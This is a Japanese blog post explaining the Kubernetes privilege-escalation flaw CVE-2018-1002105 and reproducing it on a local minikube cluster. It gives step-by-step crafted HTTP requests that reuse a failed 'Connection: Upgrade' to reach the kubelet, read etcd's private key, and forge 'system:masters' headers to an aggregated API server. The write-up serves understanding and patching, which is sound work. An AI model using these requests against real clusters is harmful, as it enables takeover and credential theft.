脆弱性と聞くとワクワクしてきますね。実際にどんな悪さができてしまうのか、Criticalとなる脆弱性とはいかほどのものなのでしょう??実際のところ、ZDNet の記事においては、
「デフォルト設定では、すべてのユーザー(認証の有無にかかわらない)に対して、この権限昇格を可能にするディスカバリAPI呼び出しの実行が許可されている」という。つまり、この脆弱性について知っている人物であれば 誰でもKubernetesクラスタを手中に収めることができる。
みたいなことが書いてあっていかにも怖そうです。本当でしょうかね?
Kubernetes API Server (kube-apiserver
)
今回の CVE の対象コンポーネントは kube-apiserver
です。
kube-apiserver
は上記の図のように、全てのコンポーネントからの API の受付口となるコンポーネントとなっています。矢印の向きにある通り、これらは全て kube-apiserver
をサーバとした通信です。Kubernetes のアーキテクチャとしてこの情報の向きは決まっており、セントラルドグマと言っていいでしょう。
kubernetes/issues/71411
ではでは、問題となる CVE について見てみましょう。
CVE-2018-1002105 についての issue がこの問題の一次情報です。まず一番信頼できる情報にあたるのが大事ですよね!そこにはこうあります。
With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.
はい、何言ってるのかさっぱりわかりませんね。わかってる人にはわかるけど、わからない人にはさっぱりわからない、という見本みたいな文章です。
kube-apiserver
はリバースプロキシとして「も」動作する
この問題を理解するには、kube-apiserver
がリバースプロキシとして動作する場合がある、ということ知ってるかどうかが最初のキーポイントです。
Kubernetes のアーキテクチャのセントラルドグマは kube-apiserver
をサーバとする一方向のデータフローです、と言っておきながら、何事にも例外はあるもので、以下の二つの場合において、バックエンドにそのリクエストをプロキシします。つまり、kube-apiserver
がクライアントとなることがあります。
-
Pod
に対するexec/attach/port_forward
- aggregated API server へのリクエスト
Pod
に対する exec/attach/port_forward
は、わかりやすいですね、
$ k exec -ti metrics-server-557f5547c6-5rsqk -c metrics-server sh
/ # ls
apiserver.local.config home sys
bin metrics-server tmp
dev proc usr
etc root var
例えば、上記のような kubectl exec ${POD_NAME}
はどう考えても kube-apiserver
で完結することができません。実際のリクエストを Pod
に送らなければその結果を取得することはできないからです。結果として以下のような経路で kubectl
からのリクエストは Pod
に届けられます。
kubectl exec ${POD_NAME}
のリクエストは kube-apiserver
からkubelet
を経由して Pod
に届けられます。
では、aggregated API server とはなんでしょう?aggregated API server とは、kube-apiserver
を拡張する一つの手段です。Kubernetes の API を拡張する手段としては CustomResourceDefinitions (CRD)
を利用した Operator パターンが有名ですが、そのパターンでは実現できない API を実装する手段です。
上記の図にあるように、kube-apiserver
に対して、API サーバをさらに追加するイメージです。この場合、実際の API リクエストに対するレスポンスはバックエンドが行い、 kube-apiserver
はリバースプロキシとして動作します。よく知られている aggregated API server としては、metrics-server
や、service catalog
があります。
プロキシ-バックエンド間は kube-apiserver
の権限で接続される
Kubernetes のコンポーネント間は TLS 通信 + Client-Cert 認証が基本です。上記の kube-apiserver
- kubelet
間および kube-apiserver
- aggregated API server
間、の通信は kube-apiserver
をクライアントとした TLS 通信です。また、それぞれの通信はそれぞれの通信用の CA により認証された Client-Cert を利用して認証を行なっており、それぞれの通信で必要な権限への認可がされています。具体的には、
kube-apiserver
- kubelet
間
-
kube-apiserver
に対して、kubelet
の API 全操作 に関する権限。- ノード上の
Pod
一覧の取得 - ノード上の
Pod
の spec の取得 - ノード上の
Pod
に対するexec/attach/portforward
- ノード上の
ユーザの権限に関する認証、認可のチェックは kube-apiserver
で行い、ユーザは許可された kubelet
API の呼び出しのみを実行することが可能ですが、リバースプロキシとしてのkube-apiserver
は全ての kubelet
API を呼び出し可能である点が注目する点です。
kube-apiserver
- aggregated API server
間
-
kube-apiserver
に対して aggregated API server に対する Authentication Proxy としての権限- Authentication Proxy とは、前段のプロキシに認証の肩代わりをさせる機能です。この場合は aggregated API server は
kube-apiserver
の送ってきた認証の結果を無条件で信用することになります。
- Authentication Proxy とは、前段のプロキシに認証の肩代わりをさせる機能です。この場合は aggregated API server は
ユーザは kube-apiserver
で認証を行い、kube-apiserver
はその認証情報をバックエンドである aggregated API server に伝えます。kube-apiserver
はユーザのリクエストと、そのリクエストの送り主が誰であるか?ということをバックエンドに伝えるリバースプロキシとして動作します。
今回の脆弱性
With a specially crafted request, users that are authorized to establish a connection through the Kubernetes API server to a backend server can then send arbitrary requests over the same connection directly to that backend, authenticated with the Kubernetes API server’s TLS credentials used to establish the backend connection.
では、今回の脆弱性の要約について、おさらいしてみましょう。適当にポイントだけ訳すと以下のようになります。
特別に細工したリクエストを使うことで、ユーザは 認証された
kube-apiserver
とバックエンド間の接続を直接利用して、バックエンドのサーバに対して好きなリクエストを送ることができます。
つまり、kube-apiserver
- kubelet
や、kube-apiserver
- aggregated API server
間で kube-apiserver
に許可されている権限で、それらバックエンドに好きなリクエストを送ることができちゃいます!
根本原因
id:nekop さんが一言でまとめてくれています。すなわち、
WebSocketに遷移する際のHTTP Upgrade時に101 Switching Protocolsというステータスを正しくチェックしていないために、細工したリクエストを送信することで認証のバイパスが発生し、k8s cluster上の任意のPodに接続できたりcluster-admin権限での操作を可能とするというものです。
kube-apiserver
のリバースプロキシとしての機能は単なる HTTP のリバースプロキシとしての機能だけではなく、exec/attach/portforward
などを行うための WebSocket
プロトコルに対するリバースプロキシの機能を備えています。そこのエラーハンドリングに問題があったため、ユーザが許可されているバックエンドへのリクエストに特権昇格が可能になるという脆弱性が発覚したのでした。
脆弱性の影響
この脆弱性を利用するためには少なくともバックエンドに対して kube-apiserver
を通してリクエストを送る権限を持っていなければなりません。
kube-apiserver
- kubelet
間
この通信を利用した脆弱性を利用するためには少なくとも、Pod
に対する exec/attach/portforward
を行うことができる権限が必要となります。そしてこの脆弱性を利用することで 任意の Pod
に対する exec/attach/portforward
を実行する権限に昇格することができます。
この脆弱性が問題になるのは、例えば一部の Namespace
の Pod
のみに権限を持っているユーザがいる場合など、ユーザに相応の権限を絞っている場合です。(シングルユーザのクラスタや、無駄に exec
の権限などをツールにつけていない人には関係なさそうです)
kube-apiserver
- aggregated API server
間
この通信を利用した脆弱性が実は、該当するクラスタにとっては致命的、関係ないクラスタには全く関係ない、というなかなか楽しいケースです。
この脆弱性を利用することでアタッカーは、バックエンドである aggregated API server、例えば metrics-server
や service catalog
の API を実行することができます。
metrics-server
が公開している API はせいぜい Node
や Pod
のメトリクスの取得くらいなのでたいしたことは無いのですが、service catalog
を公開していた場合、権限を持っていないアタッカーでも勝手に自分の (悪意のある) サービスを Kubernetes に追加したり、有料のサービスを勝手に使ったりすることができちゃいます。 OpenShift Online とかやばそうですね…。他人事ながら心配。
どんな権限を持ったユーザが?
Default RBAC policy allows all users (authenticated and unauthenticated) to perform discovery API calls that allow this escalation against any aggregated API servers configured in the cluster.
と、ある通り、「デフォルト設定では、すべてのユーザー(認証の有無にかかわらない)に対して、この権限昇格を可能にするディスカバリAPI呼び出しの実行が許可されている」と、書かれていますつまり、この Kubernetes の API エンドポイントにアクセスすることができる すべてのユーザ がこの脆弱性を利用可能です。上記の ZDNet が心配していたのもここですね。ただ、 「誰でもKubernetesクラスタを手中に収めることができる」って言うのはちょっと言い過ぎでしょう。
ディスカバリAPI
ちなみに、ディスカバリAPIとは何者でしょう?
それは、Kubernetes の API サーバがどの API 呼び出しに対応しているか、を知ることができる API です。kubectl
で以下のコマンドで呼び出すことができます。
$ k api-versions
$ k api-resources
上記のコマンドは以下の curl
コマンドと等価です。
$ curl -k https://${API_ENDPOINT}/apis
$ curl -k https://${API_ENDPOINT}/apis/${API_GROUP}/${API_VERSION}
デフォルトの設定では上記のエンドポイントは未認証のユーザに公開されているため、誰でも結果を取得することができます。
そして、ここがポイントなのですが、と、ある ${API_GROUP}
を実装している aggregated API server は、上記のディスカバリ API を kube-apiserver
を通して公開しています。例えば aggregated API server である metrics-server
は以下のエンドポイントを kube-apiserver
を通して公開しています。以下のリクエストは kube-apiserver
へのリクエストですが、実際のレスポンスは metrics-server
が返しています。
$ curl -k https://${API_ENDPOINT}/apis/metrics.k8s.io/v1beta1
{
"kind": "APIResourceList",
"apiVersion": "v1",
"groupVersion": "metrics.k8s.io/v1beta1",
"resources": [
{
"name": "nodes",
"singularName": "",
"namespaced": false,
"kind": "NodeMetrics",
"verbs": [
"get",
"list"
]
},
{
"name": "pods",
"singularName": "",
"namespaced": true,
"kind": "PodMetrics",
"verbs": [
"get",
"list"
]
}
]
}%
検証の方ではこのエンドポイントを利用して、実際に metrics-server
の API を呼び出してみたいと思います。
CVE Fix パッチの確認
攻撃方法の検証をするためにはまず、この脆弱性をどう修正しているのを見るかが一番早いですね。この脆弱性は以下のパッチで修正されています。
主に修正されている関数は以下ですね。
// tryUpgrade returns true if the request was handled.
func (h *UpgradeAwareHandler) tryUpgrade(w http.ResponseWriter, req *http.Request) bool {
if !httpstream.IsUpgradeRequest(req) {
klog.V(6).Infof("Request was not an upgrade")
return false
}
// ... 後略
HTTP の Upgrade を試みて、成功した場合はこの関数内で全ての処理は完結するようです。ちなみに httpstream.IsUpgradeRequest
が true
を返すのは HTTP のヘッダに Connection: Upgrade
が含まれていた時みたいですね。
そして一番重要なところは以下のコードと思われます。
if rawResponseCode != http.StatusSwitchingProtocols {
// If the backend did not upgrade the request, finish echoing the response from the backend to the client and return, closing the connection.
klog.V(6).Infof("Proxy upgrade error, status code %d", rawResponseCode)
_, err := io.Copy(requestHijackedConn, backendConn)
if err != nil && !strings.Contains(err.Error(), "use of closed network connection") {
klog.Errorf("Error proxying data from backend to client: %v", err)
}
// Indicate we handled the request
return true
}
新しく追加されたコードで HTTP のレスポンスのコードをチェックし、http.StatusSwitchingProtocols
でなかった場合この関数を終了していますね。これがなかった場合、バックエンドは Connection: Upgrade
に失敗した、と言っているのに kube-apiserver
は WebSocket
みたいなリクエストが続いていると誤解して、バックエンドに対して接続を確立したまま任意のデータを送ってしまいそうです。
これらから、攻撃を成立させるためには HTTP のヘッダに Connection: Upgrade
を付与しつつも、実際には Connection Upgrade に失敗すれば良いということがわかりますね!
検証
それでは検証してみましょう。パブリックな k8s クラスタを攻撃すると流石に法に触れそうなので、自分のローカル環境にまだ対策が済んでいない k8s を用意します。minikube で。
$ minikube start --bootstrapper=kubeadm \
--vm-driver=hyperkit \
--kubernetes-version=v1.12.2
kubelet
への攻撃
前準備
kubelet
攻撃用に、Namespace: for-attacker
のみに edit
の権限を持ったユーザ、attacker
を用意します。
$ k create namespace for-attacker
$ k create serviceaccount attacker -n for-attacker
$ k create rolebinding attacker \
--clusterrole edit \
--namespace for-attacker \
--serviceaccount for-attacker:attacker
$ secret=$(k get serviceaccount attacker -n for-attacker -o 'jsonpath={.secrets[0].name}')
$ export KUBE_TOKEN=$(k get secret \
-n for-attacker \
-o "jsonpath={.data.token}" \
"$secret" \
| openssl enc -d -base64 -A)
$ cat <<EOF > config
apiVersion: v1
kind: Config
clusters:
- cluster:
certificate-authority: /Users/${USER}/.minikube/ca.crt
server: https://$(minikube ip):8443
name: minikube
contexts:
- context:
cluster: minikube
user: attacker
name: minikube-attack
users:
- name: attacker
user:
token: ${KUBE_TOKEN}
current-context: minikube-attack
EOF
環境変数、${KUBE_TOKEN}
に攻撃者用の kube-apiserver
接続のためのトークンを、./config
には kubectl
でテストするため用の KUBECONFIG を用意しました。
テストしてみたところ、問題なく他の Namespace
への権限はないようですね。
$ export KUBECONFIG=./config
$ k get pod -n for-attacker
No resources found.
$ k get pod -n kube-system
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:for-attacker:attacker" cannot list resource "pods" in API group "" in the namespace "kube-system"
kubelet
の API を呼び出してみる
それでは、本来権限がないはずの attacker
さんが、kubelet
の API を呼び出してみましょう。
まずは、土台となる exec
を実行するために、ダミーで Pod
をデプロイします。
$ k run base-of-attack \
--image nginx \
-n for-attacker \
--restart=Never
pod/base-of-attack created
openssl
コマンドを利用して kube-apiserver
に対して接続を開始します。
$ openssl s_client -connect $(minikube ip):8443
無事、接続が成功したので、本来権限を持っている Pod: base-of-attack
に対して Connection: Upgrade
に失敗するリクエストを送ってやります。(${KUBE_TOKEN} の部分には実際のトークンを展開してください)
GET /api/v1/namespaces/for-attacker/pods/base-of-attack/exec HTTP/1.1
Host: minikube
Authorization: Bearer ${KUBE_TOKEN}
Connection: Upgrade
HTTP/1.1 400 Bad Request
Date: Mon, 10 Dec 2018 08:52:50 GMT
Content-Length: 52
Content-Type: text/plain; charset=utf-8
you must specify at least 1 of stdin, stdout, stderr
exec
を実行するためにはオプションが足りないため、400 Bad Request
が返ってきました、 しかし接続はきれていません!!
この状態からは kube-apiserver
の接続を利用して kubelet
に対して好きなリクエストを送ることが可能です。例えば Pod
の一覧を取得する API をリクエストしてみましょう。
GET /pods HTTP/1.1
Host: minikube
HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 08:56:56 GMT
Transfer-Encoding: chunked
7591
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"
... (略)
ノード上で実行されている Pod
の一覧が返ってきました。どうやら etcd
も同じノードで実行されているようですね!(minikube ですかr)
では、etcd の 秘密鍵でも覗いてみましょうか…。(時間の都合上秘密鍵のパスは知っているものとします)
GET /exec/kube-system/etcd-minikube/etcd?command=cat&command=/var/lib/minikube/certs/etcd/server.key&input=1&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: minikube
Origin: http://minikube
Sec-WebSocket-Key: E4WSEcseoWr4csPLS2QJHA==
Sec-WebSocket-Version: 13
sec-websocket-protocol: v4.channel.k8s.io
��~�-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAyLPpS9fXJQ07to+4LPwELY7S1WQjVk2rQLgji2XTA43ACGoL
dqhcvMh0YP55EqdvVtEvVUpZ255CJLY6LnPzmYd/fYmMANF3F2+Db1Yliu8rQBAj
Ccb29bIG6daGs+gUvAK4MVj1g8jdP+H1+8srt9wgzLqdCG0athc+HoMpb4lBWRyx
...(中略)...
IG51AoGABUl61PIpfyNwbSviXoL16YVO8atqHE1c0BaeHupDkviH6ZswoUCZwZqX
xk2iDrn3hjdbJJpPnwzN/QTR6ond8wb0VF8qVr39oYdNXX0lb8YQYWOrMJd44ezJ
ievJfY31e2Es43auGqT9fCetK+0uxjcNxGYAVIL8NbGphFkZRMI=
-----END RSA PRIVATE KEY-----
�#{"metadata":{},"status":"Success"}��closed
見れました。ヤヴァイですねー。
と言うことで、本来は見る権限がないファイルを見ることができることが実証されてしまいました。privileged
なコンテナからも任意のコマンドが実行可能なので、実質ノードの root
を取ったも同じものですね!これはヒドイ!
$ k exec -it -n kube-system etcd-minikube \
cat /var/lib/minikube/certs/etcd/server.key
Error from server (Forbidden): pods "etcd-minikube" is forbidden: User "system:serviceaccount:for-attacker:attacker" cannot get resource "pods" in API group "" in the namespace "kube-system"
本来はこうなるはずだったのに…。
aggregated API server への攻撃
前準備
攻撃対象の aggregated API server を用意します。今回は addon として簡単に追加できる metrics-server
を利用しましょう。
$ minikube addons enable metrics-server
metrics-server was successfully enabled
この脆弱性は誰でも呼び出し可能な API からつくことができるので準備は以上です。
metrics-server
の API を呼び出してみよう!
まずは openssl
で接続し、、
$ openssl s_client -connect $(minikube ip):8443
リクエスト可能なパスに対して、本来必要のない Connection: Upgrade
ヘッダを乗せて呼び出してみます。誰でもリクエスト可能な API なので Authorization
ヘッダがいらないのが優しいですね。
GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1
Host: minikube
Connection: Upgrade
HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:26:53 GMT
Content-Length: 292
{"kind":"APIResourceList","apiVersion":"v1","groupVersion":"metrics.k8s.io/v1beta1","resources":[{"name":"nodes","singularName":"","namespaced":false,"kind":"NodeMetrics","verbs":["get","list"]},{"name":"pods","singularName":"","namespaced":true,"kind":"PodMetrics","verbs":["get","list"]}]}
200 OK
が返ってきました。本来ならばここで接続が切れてほしいところなのですが、なぜか接続状態が持続してますねー。さあ、この時点で権限 kube-apiserver
と同格に昇格してますよ、metrics-server
の API を呼び出してみましょう!
GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1
Host: minikube
HTTP/1.1 401 Unauthorized
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:30:02 GMT
Content-Length: 129
{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
何故か返ってくる 401
。あれ、俺は kube-apiserver
と同格なんじゃなかったっけ(anonymousだけど)。
もう一度接続の概要図を見てみましょう。実は kube-apiserver
- metrics-server
間の接続で許可されている権限は、metrics-server
の API を呼び出すことができる権限ではなく、metrics-server
に対する Authentication Proxy としての権限だったのですねー!これじゃバックエンドの API を任意に実行可能である、と言う攻撃を成立させることはできないですね!残念!
と、ここで思考を停止してもいいのですが、そもそも Authentication Proxy ってなんだったっけ、と言う。最初に書きました。繰り返します。
Authentication Proxy とは、前段のプロキシに認証の肩代わりをさせる機能です。この場合は aggregated API server は
kube-apiserver
の送ってきた認証の結果を無条件で信用することになります。
つまり…どういうことだってばよ? (AA略
X-Remote-User
および X-Remote-Group
ヘッダを無条件に信用します。そのヘッダを無条件に信用するかどうかはその接続時のTLSのClient-Cert 認証の結果で担保します。
例えば、X-Remote-Group: system:masters
と言うヘッダをつければ簡単に cluster-admin
に昇格可能です。これは酷い。
GET /apis/metrics.k8s.io/v1beta1/nodes HTTP/1.1
Host: minikube
X-Remote-Group: system:masters
X-Remote-User: attacker
HTTP/1.1 200 OK
Content-Type: application/json
Date: Mon, 10 Dec 2018 09:45:50 GMT
Content-Length: 364
{"kind":"NodeMetricsList","apiVersion":"metrics.k8s.io/v1beta1","metadata":{"selfLink":"/apis/metrics.k8s.io/v1beta1/nodes"},"items":[{"metadata":{"name":"minikube","selfLink":"/apis/metrics.k8s.io/v1beta1/nodes/minikube","creationTimestamp":"2018-12-10T09:45:50Z"},"timestamp":"2018-12-10T09:45:00Z","window":"1m0s","usage":{"cpu":"137m","memory":"1572068Ki"}}]}
/nodes
のメトリクスが取得できてしまいました…。前の方にも書きましたがクラスター自体を壊したりすることができる API を実装した aggregated API server とかがデプロイされていたら本当に酷いことになりますね、ナムー。
まとめ
とりあえず今回の脆弱性を軽くまとめてみました。所感を言うと今回の脆弱性は関係する人にはボヤじゃすまないけど、関係ない人にはどうでもいい脆弱性ですね!(特にお家クラスターで一人で遊んでる人とか
以上です!みなさんくれぐれも悪用しないでくださいね。そしてクラスタ管理者さんはボヤボヤしてないですぐにクラスタをアップグレードしましょう!